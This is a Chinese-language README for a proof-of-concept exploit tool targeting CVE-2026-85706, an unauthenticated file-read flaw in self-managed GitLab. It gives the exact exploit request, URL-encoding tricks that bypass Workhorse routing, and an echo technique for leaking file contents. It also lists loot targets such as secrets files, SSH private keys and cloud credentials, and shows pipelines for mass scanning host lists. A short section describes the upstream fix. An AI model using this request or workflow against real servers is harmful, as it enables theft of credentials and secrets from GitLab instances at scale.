CVE-2026-85706 · GitLab CE/EE 未认证文件读取 · 研究性 PoC,具备 oracle 模式、fd 枚举与分级 loot 定位
CVE-2026-85706 的概念验证,这是一个影响自管理 GitLab CE/EE 的未认证任意文件读取漏洞。
| CVE | CVE-2026-85706 |
| CVSS | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| 受影响版本 | 18.7 至 19.1.7、19.2.0 至 19.2.5、19.3.0 至 19.3.1 |
| 修复版本 | 19.1.8 / 19.2.6 / 19.3.2(发布于 2026-09-10) |
| 组件 | Repository Commits API / Files API(Workhorse body-upload) |
| 报告者 | s3ntago,通过 GitLab HackerOne |
三个仓库 API 端点位于 Workhorse 的 requestBodyUploader 之后:
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT /api/v4/projects/:id/repository/files/:file_path
Rails 处理器在 authenticate! 之前调用 File.open(params['file.path'])。四个条件使该漏洞可被利用:
1. 认证在文件读取之后才触发。
require_gitlab_workhorse! 仅检查 Gitlab-Workhorse-Api-Request JWT 头。Workhorse 会为其代理的每个请求(包括纯透传请求)打上该头。真正的 authenticate! 位于 authorize_push_to_branch! 内部,而后者在 file_params_from_body_upload 已经从磁盘读取文件之后才运行。
2. file.path 直接来自请求。
file_params_from_body_upload 将 params['file.path'] 作为绝对路径读取,且不做任何验证。在预期流程中,Workhorse 会将上传内容写入临时文件并自行注入该参数。攻击者只需将其作为查询字符串参数直接发送,指向文件系统上的任意位置即可。
3. Workhorse 的路由匹配从不解码百分号编码。
Workhorse 使用 EscapedPath()(即接收到的原始 URL 字节)来匹配上传路由。Puma 在路由到 Grape 之前会解码 %XX 序列。因此,对静态段中的一个字符进行编码,会导致 Workhorse 跳过其重写规则,而 Rails 仍会路由到存在漏洞的处理器:
POST /api/v4/projects/1/repository/commits/ (trailing slash)
POST /api/v4/projects/1/repository/%63ommits (c -> %63)
POST /api/v4/projects/1/%72epository/commits (r -> %72)
POST /api/v4/projects/1/repository/commits.json (Grape format suffix)
4. Rack 会在错误响应中回显文件内容。
当 Content-Type: application/x-www-form-urlencoded 时,文件内容会被交给 Rack::Utils.parse_nested_query。任何后面没有跟两个十六进制数字的裸 % 都会引发 InvalidParameterError: invalid %-encoding (<content>)。文件中第一个 & 之前的所有内容都会被回显在 400 响应体中。
不含裸 % 的文件仍会在认证前被读取。urlencoded 分支返回的 401 响应和 multipart 分支返回的 500 响应都确认该文件存在且可被 git 用户读取,因此它们可用作存在性预言机。
利用请求:
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded
--file 读取任意单个文件;如果没有回显触发条件,会自动回退到预言机模式--loot 运行 7 个层级共 36 个目标,按确认的回显触发概率排序--oracle 对无回显文件运行双分支探测(urlencoded + multipart),并告知每个文件是可读、缺失还是不可读--proc 枚举 /proc/self/fd/0-31 以查找打开的文件描述符,然后读取标准的 /proc 侦察目标--shell 进入交互式文件读取 shell,支持 cat、loot、oracle、project 和 curl 命令--pipe 从 stdin 读取目标,并处理 subfinder 输出、httpx 文本、httpx JSON、nuclei JSON 和原始主机行--list 接收每行一个目标的文件pip install requests
python3 gitread.py -h
需要 Python 3.10 或更高版本。无其他依赖。
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080
subfinder -d corp.com -silent \
| httpx -silent -sc -td \
| python3 gitread.py --pipe --loot -o hits.jsonl
subfinder -d corp.com -silent \
| httpx -silent -json \
| python3 gitread.py --pipe --loot -q -o hits.jsonl
python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl
cat hosts.txt | python3 gitread.py --loot
当 stdin 不是 TTY 时会自动检测,因此在大多数情况下 --pipe 是可选的。
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit
退出码:0 确认泄露,1 仅预言机或管道中无泄露,2 未发现任何内容。
已在 master 提交 0d9ce3e7 中修复,并向后移植为 1fe30154 / b43c8b26 / 0ff7b6b2。
同时更改了三处:
authenticate! 移到 file_params_from_body_upload 之前,因此未认证请求永远不会读取文件file.path 现在仅接受由 multipart 中间件生成的类型化 UploadedFile 对象,该对象需要有效的 Workhorse 签名 JWT,而不再接受原始查询字符串参数InvalidParameterError 不再将 e.message 插值到响应体中,因此即使有人找到绕过前两项修复的方法,回显通道也已关闭该漏洞引入于 GitLab 18.7(2025 年 12 月),当时添加了 commits API 的 body-upload 变体。
made with love by @plur1bu5 -- if you find it useful, a star is appreciated
--threads 用于并发批量扫描--proxy 将所有流量通过 Burp 或 mitmproxy 路由--raw 将原始字节写入 stdout,无任何修饰,便于管道输出到文件--full 在一次运行中执行 loot、oracle 和 proc-o 输出 JSON 和 JSONL 报告| 判定 | 含义 |
|---|
leak | 文件内容回显在 400 响应体中,确认已读取 |
leak-frag | 通过参数类型错误实现的部分回显 |
read-noecho | 文件在认证前被读取,但不含裸 %,因此无回显 |
READABLE | multipart 分支返回 500,文件存在且可被 git 用户读取 |
missing | 服务器表示本地文件不存在 |
rewrite | Workhorse 重写了请求体,此绕过形式已失效 |
noroute | Rails 404,实例已修补或路径错误 |
server-error | 500,文件存在但导致解析错误 |
| 层级 | 文件 | 回显 |
|---|
| 1 | gitlab.rb、gitlab.yml、redis.conf | 内容直接泄露 |
| 2 | gitlab-secrets.json、secrets.yml、database.yml | 仅预言机,纯十六进制 |
| 3 | .gitlab_workhorse_secret | 仅预言机 |
| 4 | SSH 私钥和 authorized_keys | 仅预言机 |
| 5 | gitlab-shell.yml、gitaly.toml、PostgreSQL 配置 | 仅预言机 |
| 6 | Kubernetes 服务账户令牌、AWS 凭证 | 仅预言机 |
| 7 | Hostname、hosts、passwd、os-release、environ | 仅预言机 |
| 参数 | 描述 |
|---|
-t、-u、--target | 单个基础 URL |
--pipe | 从 stdin 读取目标 |
--list FILE | 目标文件 |
--file PATH | 要读取的单个绝对路径 |
--loot | 完整的 36 目标 loot 运行 |
--oracle | 对无回显文件进行双分支探测 |
--proc | /proc fd 枚举与侦察 |
--shell | 扫描后进入交互式 shell |
--full | loot + oracle + proc |
--project-id ID | 强制指定项目 id,而非自动检测 |
--force | 即使目标指纹不是 GitLab 也进行扫描 |
--raw | 将原始字节写入 stdout,无修饰 |
--proxy URL | HTTP/S 代理 |
--threads N | 管道模式的工作线程数(默认 8) |
--timeout N | 每请求超时秒数(默认 15) |
-o FILE | 保存报告(.json 为美化数组,其他为 JSONL) |
-q、--quiet | 仅打印命中结果 |
-v、--verbose | 显示每次探测尝试 |
--no-banner | 抑制横幅显示 |